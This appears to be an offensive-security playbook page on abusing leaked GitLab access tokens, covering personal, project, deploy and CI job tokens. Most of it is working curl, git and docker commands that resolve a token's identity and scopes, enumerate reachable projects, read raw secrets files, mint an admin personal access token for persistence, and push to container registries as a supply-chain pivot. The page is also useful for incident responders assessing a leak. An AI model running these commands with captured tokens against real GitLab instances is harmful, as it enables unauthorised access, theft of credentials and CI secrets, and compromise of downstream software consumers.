GitLab authenticates API calls with a header, and several token types share the surface. A leaked one is immediately usable: you do not need the account's password or a session. The task on finding a token is to resolve what it is, who it acts as, and what it can do, then act within that.
- Personal access token (PAT): acts as a user, scoped by a list such as
api(full read/write),read_api,read_repository,write_repository. Sent asPRIVATE-TOKEN:orAuthorization: Bearer. - Project / group access token: acts as a bot user bound to one project or group, with a role (Developer, Maintainer) and scopes. Same headers.
- Deploy token: a username/password pair for cloning and registry pull/push, not the full API. Used in git remotes and
docker login. - CI job token (
CI_JOB_TOKEN): minted per job, acts with the triggering user's job identity, reaches the API for allowlisted projects, the registry, and releases. Sent asJOB-TOKEN:.
Resolve identity and scope first#
# PAT / project / group token: who does it act as?
curl -s https://gitlab.com/api/v4/user -H "PRIVATE-TOKEN: $TOKEN"
# -> {"username":"svc-bot","id":123,"is_admin":false,...}; a 401 means dead/revoked
# Exact scopes and expiry of the current token
curl -s https://gitlab.com/api/v4/personal_access_tokens/self -H "PRIVATE-TOKEN: $TOKEN"
# -> {"scopes":["api"],"active":true,"expires_at":"2026-12-31",...}
An api scope and is_admin:false still means full read/write on every project the acting user can reach. A 401 on /user means the token is revoked or expired; a 403 on a specific resource means it is valid but under-privileged there.
Enumerate and act within scope#
# Everything this token can reach, with the role it holds
curl -s "https://gitlab.com/api/v4/projects?membership=true&min_access_level=30&per_page=100" \
-H "PRIVATE-TOKEN: $TOKEN" | jq -r '.[] | "\(.path_with_namespace) \(.permissions.project_access.access_level)"'
# Read a file (write_repository/api can also commit)
curl -s "https://gitlab.com/api/v4/projects/<id>/repository/files/config%2Fsecrets.yml/raw?ref=main" \
-H "PRIVATE-TOKEN: $TOKEN"
# Mint a PAT for any user as persistence. Instance-admin only (self-managed/dedicated):
# an ordinary api-scoped token gets 403 here, it needs admin credentials or an admin impersonation token.
curl -s -X POST "https://gitlab.com/api/v4/users/<id>/personal_access_tokens" \
-H "PRIVATE-TOKEN: $ADMIN_TOKEN" -d "name=ci&scopes[]=api&expires_at=2027-01-01"
The URL-encoded file path (config%2Fsecrets.yml) is required by the files API; %2F is the / separator. A successful raw read of a secrets file is an immediate credential win.
CI job token and deploy token#
# Job token: clone an allowlisted project
git clone https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.com/<ns>/<project>.git
# Job token against the API: only the job-token-allowed endpoints, and only when the target
# project allowlists yours. Project read, artifacts, packages, and the registry are in scope;
# the CI/CD variables API is NOT, so a job token cannot read another project's variables.
curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" "$CI_API_V4_URL/projects/<id>"
# Deploy token: registry pull/push and clone, not the general API
echo "$DEPLOY_TOKEN_PASS" | docker login registry.gitlab.com -u "$DEPLOY_TOKEN_USER" --password-stdin
git clone https://$DEPLOY_TOKEN_USER:$DEPLOY_TOKEN_PASS@gitlab.com/<ns>/<project>.git
A deploy token returns 404/401 against /api/v4/user because it is not a user; test it against a clone or docker login instead. The job token's reach is bounded both by each target project's CI/CD job token allowlist and by the fixed set of endpoints a job token may call (git clone, the package and container registries, job artifacts, releases, and project read, but not the CI/CD variables API). A 403 from an allowlisted endpoint such as GET /projects/:id means that project does not allowlist yours.
Follow-on#
A Maintainer-level token reads stored CI/CD variables directly (see reconnaissance); a lower token exfiltrates them through CI/CD pipeline injection. An admin PAT on a self-managed instance opens the impersonation and runner paths in known admin and API exploits. Registry push with a deploy or job token is a supply-chain pivot into whatever consumes the image.
Tools#
- glab auth login to store and reuse a captured token across commands.
- TruffleHog to confirm a scraped token is live before using it.